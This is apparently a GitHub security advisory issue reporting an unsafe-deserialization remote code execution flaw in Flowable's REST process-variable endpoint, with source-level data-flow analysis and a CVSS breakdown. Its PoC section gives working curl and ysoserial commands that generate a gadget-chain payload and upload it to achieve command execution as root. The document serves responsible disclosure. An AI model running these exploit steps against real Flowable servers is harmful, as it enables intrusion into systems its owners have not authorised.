Repository navigation
[SECURITY] Deserialization RCE via PUT /runtime/process-instances/{processInstanceId}/variables (multipart) with type=serializable (CWE-502, CVSS 8.8) #4288
Description
Security Vulnerability Report -- CWE-502
Summary
The PUT /runtime/process-instances/{processInstanceId}/variables endpoint, when receiving multipart/form-data requests, if the variable type is specified as serializable, directly uses java.io.ObjectInputStream.readObject() without any class filtering to deserialize uploaded file content, leading to remote code execution. The rest.variables.allow.serializable configuration defaults to true, and any authenticated user with access-rest-api privilege can trigger the vulnerability.
Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0
Static Analysis Report
Vulnerability Overview
The PUT /runtime/process-instances/{processInstanceId}/variables endpoint (ProcessInstanceVariableCollectionResource.createOrUpdateExecutionVariable) supports uploading process variables via multipart/form-data. When the request's type parameter is serializable, the base class BaseExecutionVariableResource.setBinaryVariable uses raw java.io.ObjectInputStream(file.getInputStream()).readObject() to deserialize uploaded file content, with no whitelist/blacklist filtering on deserialized classes throughout the entire process (no ValidatingObjectInputStream used, no resolveClass override). The rest.variables.allow.serializable configuration property defaults to true, meaning this dangerous path is open under default deployment. Any user who has passed HTTP Basic Auth and holds access-rest-api privilege can upload malicious serialized objects (e.g., using commons-collections, Spring, JDK gadget chains) to trigger remote code execution.
Exploitation Prerequisites
| Condition | Description |
|---|---|
| Authentication | Requires HTTP Basic Auth, and user must have access-rest-api privilege (default isVerifyRestApiPrivilege()=true, i.e., verify-privilege mode) |
| Network Reachability | Intranet/public network, as long as the flowable-rest HTTP port is accessible |
| Configuration Dependency | rest.variables.allow.serializable defaults to true, triggerable without additional configuration; classpath needs exploitable deserialization gadgets (Flowable default dependencies include Spring, JDK, commons-io, etc., common gadgets are all available) |
| Business Prerequisites | Must know a valid processInstanceId (can be listed via GET /runtime/process-instances, or obtained by starting a process) |
| Other Prerequisites | None |
Trigger Location
repo/modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:162-167
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();Entry: ProcessInstanceVariableCollectionResource.java:91-96
@PutMapping(value = "/runtime/process-instances/{processInstanceId}/variables", produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public Object createOrUpdateExecutionVariable(@PathVariable String processInstanceId, HttpServletRequest request, HttpServletResponse response) {
Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
return createExecutionVariable(execution, true, false, request, response);
}Data Flow Overview
- Chain 1 (multipart + type=serializable, reaches sink):
- Entry
ProcessInstanceVariableCollectionResource.createOrUpdateExecutionVariable(file:91-96) receives multipart request - Passes
HttpServletRequesttoBaseVariableCollectionResource.createExecutionVariable(file:83-86) instanceof MultipartHttpServletRequestevaluates true, callssetBinaryVariable(file:86)setBinaryVariableparsestypeparameter (file:128-133), ifserializableandisSerializableVariableAllowed=true(default), enters deserialization branch (file:162)new ObjectInputStream(file.getInputStream()).readObject()(file:164-165) triggers sink, no class filtering
- Entry
- Chain 2 (application/json body): Goes through JSON parsing path (file:93-102), does not enter ObjectInputStream, does not trigger sink
- Chain 3 (multipart + type=binary): Goes through
IOUtils.toByteArraypath (file:157-160), does not trigger sink - Chain 4 (multipart + type=serializable but
rest.variables.allow.serializable=false): Blocked, throwsFlowableContentNotSupportedException(file:169-170), but under default config this is not blocked
Data Flow Detailed Code Analysis
Chain 1: multipart + serializable (Reachable RCE Sink)
Layer 1 — Entry ProcessInstanceVariableCollectionResource.createOrUpdateExecutionVariable
- file:
ProcessInstanceVariableCollectionResource.java:91-96 - External input: HTTP PUT request (multipart/form-data), path parameter
processInstanceId - Operation: Only queries Execution via
getExecutionFromRequestWithoutAccessCheck(processInstanceId)(file:332-339), no permission check; then passesHttpServletRequestas-is to base class method - Data flow:
requestparameter passed tocreateExecutionVariable(execution, true, false, request, response)
@PutMapping(value = "/runtime/process-instances/{processInstanceId}/variables", produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public Object createOrUpdateExecutionVariable(@ApiParam(name = "processInstanceId") @PathVariable String processInstanceId, HttpServletRequest request, HttpServletResponse response) {
Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
return createExecutionVariable(execution, true, false, request, response);
}Layer 2 — Dispatch BaseVariableCollectionResource.createExecutionVariable
- file:
BaseVariableCollectionResource.java:83-87 - External input:
HttpServletRequest request - Operation: Routes based on
request instanceof MultipartHttpServletRequest; multipart branch callssetBinaryVariable - Data flow:
requestcast toMultipartHttpServletRequestthen passed tosetBinaryVariable
protected Object createExecutionVariable(Execution execution, boolean override, boolean async, HttpServletRequest request, HttpServletResponse response) {
Object result = null;
if (request instanceof MultipartHttpServletRequest) {
result = setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async);
} else {Layer 3 — Parse multipart parameters BaseExecutionVariableResource.setBinaryVariable
- file:
BaseExecutionVariableResource.java:102-136 - External input: file field in multipart request (malicious serialized object) + form parameters
name/type/scope - Operation: Gets
typefromrequest.getParameterMap(), defaults tobinaryif not provided; if explicitly set totype=serializable, enters dangerous branch - Data flow:
file.getInputStream()directly passed toObjectInputStreamconstructor
MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
...
for (String parameterName : paramMap.keySet()) {
if (paramMap.get(parameterName).length > 0) {
if ("scope".equalsIgnoreCase(parameterName)) { variableScope = paramMap.get(parameterName)[0]; }
else if ("name".equalsIgnoreCase(parameterName)) { variableName = paramMap.get(parameterName)[0]; }
else if ("type".equalsIgnoreCase(parameterName)) { variableType = paramMap.get(parameterName)[0]; }
}
}Layer 4 — Sink ObjectInputStream.readObject()
- file:
BaseExecutionVariableResource.java:162-167 - External input: multipart uploaded file byte stream
- Operation: Directly
new ObjectInputStream(file.getInputStream()).readObject(), noresolveClassoverride, no ValidatingObjectInputStream, no ObjectInputFilter - Data flow: Deserialized Object written to process engine via
setVariable, but code execution has already completed duringreadObject()
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
}Layer 5 — Configuration switch default allows
- file:
BaseExecutionVariableResource.java:68-71 isSerializableVariableAllowedinitialized fromenv.getProperty("rest.variables.allow.serializable", Boolean.class, true), default value istrue, meaning the dangerous branch is enabled by default
@Override
public void afterPropertiesSet() {
isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
}CVSS Breakdown
Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| Vector | Value | Reason |
|---|---|---|
| Attack Vector | N (Network) | Accessed remotely via HTTP REST interface, no local privileges needed |
| Attack Complexity | L (Low) | Only need to construct a multipart request and specify type=serializable, no special conditions or races |
| Privileges Required | L (Low) | Requires authenticated user with access-rest-api privilege, but this is default for regular REST users, no admin needed |
| User Interaction | N (None) | Server auto-deserializes, no user interaction required |
| Scope | U (Unchanged) | Attacked component (Flowable REST app) itself affected, no cross-domain |
| Confidentiality | H (High) | RCE can read arbitrary sensitive data, database credentials, process instance data |
| Integrity | H (High) | Can tamper with process variables, deploy new processes, modify database |
| Availability | H (High) | Can kill JVM, delete data, cause denial of service |
Overall score: 8.8 (High)
PoC Verification Report
Flowable REST Process Instance Variables Deserialization RCE
Vulnerability Summary
- Vulnerability Name: Flowable REST multipart upload serializable variable unsafe deserialization RCE
- Affected Component/Port: flowable-rest module
ProcessInstanceVariableCollectionResource, HTTP REST port 8080 - Vulnerability Description: The
PUT /runtime/process-instances/{processInstanceId}/variablesendpoint, when receiving multipart/form-data requests withtype=serializable, directly uses rawObjectInputStream.readObject()to deserialize uploaded file content without any class filtering, can trigger RCE - Root Cause Code Snippet:
// BaseExecutionVariableResource.java:162-167
} else if (isSerializableVariableAllowed) {
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // <-- no class filtering
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
}- Brief Data Flow:
HTTP PUT multipart (file=ysoserial CommonsCollections6 payload, name=exploitVar, type=serializable)
↓
ProcessInstanceVariableCollectionResource.createOrUpdateExecutionVariable (ProcessInstanceVariableCollectionResource.java:91-96)
↓
BaseVariableCollectionResource.createExecutionVariable (BaseVariableCollectionResource.java:83-86)
instanceof MultipartHttpServletRequest == true → setBinaryVariable()
↓
BaseExecutionVariableResource.setBinaryVariable (BaseExecutionVariableResource.java:102-136)
Parse type="serializable", isSerializableVariableAllowed=true (default)
↓
new ObjectInputStream(file.getInputStream()).readObject() (BaseExecutionVariableResource.java:164-165)
↓
JVM deserializes malicious bytecode → CommonsCollections6 gadget chain triggers Runtime.exec() → RCE
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | Requires HTTP Basic Auth + access-rest-api privilege (regular REST user has this under default verify-privilege mode) |
| Network Reachability | Intranet/public network, accessible flowable-rest HTTP port |
| Configuration Dependency | rest.variables.allow.serializable defaults to true, no additional enablement needed; commons-collections:3.x exists on classpath |
| Other Prerequisites | Need to know a valid processInstanceId (can be listed via GET /runtime/process-instances) |
Exploitation Chain Progress
| Chain Stage | Location (file:line) | Status | Evidence / Description |
|---|---|---|---|
| Entry PUT request | ProcessInstanceVariableCollectionResource.java:91 | Reachable | consumes includes multipart/form-data, HTTP 200 |
| Multipart dispatch | BaseVariableCollectionResource.java:85-86 | Reached | instanceof MultipartHttpServletRequest is true, calls setBinaryVariable |
| Type parsing | BaseExecutionVariableResource.java:131-133 | Reached | form field type="serializable" correctly parsed |
| Config switch | BaseExecutionVariableResource.java:70 | Default allows | rest.variables.allow.serializable defaults true, no FlowableContentNotSupportedException thrown |
| Sink readObject | BaseExecutionVariableResource.java:164-165 | Triggered | Raw ObjectInputStream.readObject() executes gadget chain, touch command creates file |
| Conclusion | — | Full Chain Closed, RCE Successful | Created file /tmp/pwned-entry-0624-rce-1785846503 as root on target server |
Exploitation Verification
Target environment: Flowable REST 7.1.0 on Apache Tomcat 10.1.31, Java 17, H2 in-memory database, credentials rest-admin:test, target process running as root.
Step 1: Obtain valid processInstanceId
curl -s -u rest-admin:test http://localhost:8080/flowable-rest/service/runtime/process-instances | python3 -c "import sys,json; print(json.load(sys.stdin)['data'][0]['id'])"Return: 0dd2629d-8fff-11f1-a444-02423661ba3a
Step 2: Generate ysoserial CommonsCollections6 RCE payload
java --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens java.management/javax.management=ALL-UNNAMED \
--add-opens java.base/java.io=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 \
"touch /tmp/pwned-entry-0624-rce-1785846503" > payload-cc6.binGenerated 1.3K malicious serialized file.
Step 3: Send payload via multipart/form-data PUT request
curl -s -u rest-admin:test \
-X PUT \
-F "file=@payload-cc6.bin" \
-F "name=exploitVar" \
-F "type=serializable" \
"http://localhost:8080/flowable-rest/service/runtime/process-instances/0dd2629d-8fff-11f1-a444-02423661ba3a/variables"Actual execution result: HTTP 201 Created, returned:
{"name":"exploitVar","type":"serializable","value":null,"valueUrl":"http://localhost:8080/flowable-rest/service/runtime/process-instances/0dd2629d-8fff-11f1-a444-02423661ba3a/variables/exploitVar/data","scope":"local"}Step 4: Verify RCE effect — file created on target server
ls -la /tmp/pwned-entry-0624-rce-1785846503Actual execution result:
-rw-r----- 1 root root 0 Aug 4 12:28 /tmp/pwned-entry-0624-rce-1785846503
File owner is root (consistent with Tomcat process), proving arbitrary command execution succeeded with root privileges.
Supplementary verification: Using CommonsCollections7 gadget chain also successfully created /tmp/pwned-cc7-0624, proving multiple gadget chains are exploitable.
Conclusion: An attacker only needs regular REST user credentials (rest-admin:test), by constructing a malicious serialized object and uploading it via multipart/form-data to the PUT /runtime/process-instances/{id}/variables endpoint with type=serializable, can execute arbitrary system commands on the target JVM with application process privileges. The vulnerability is exploitable under default configuration without any additional configuration.
Severity
CVSS v3.1: 8.8 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
Activity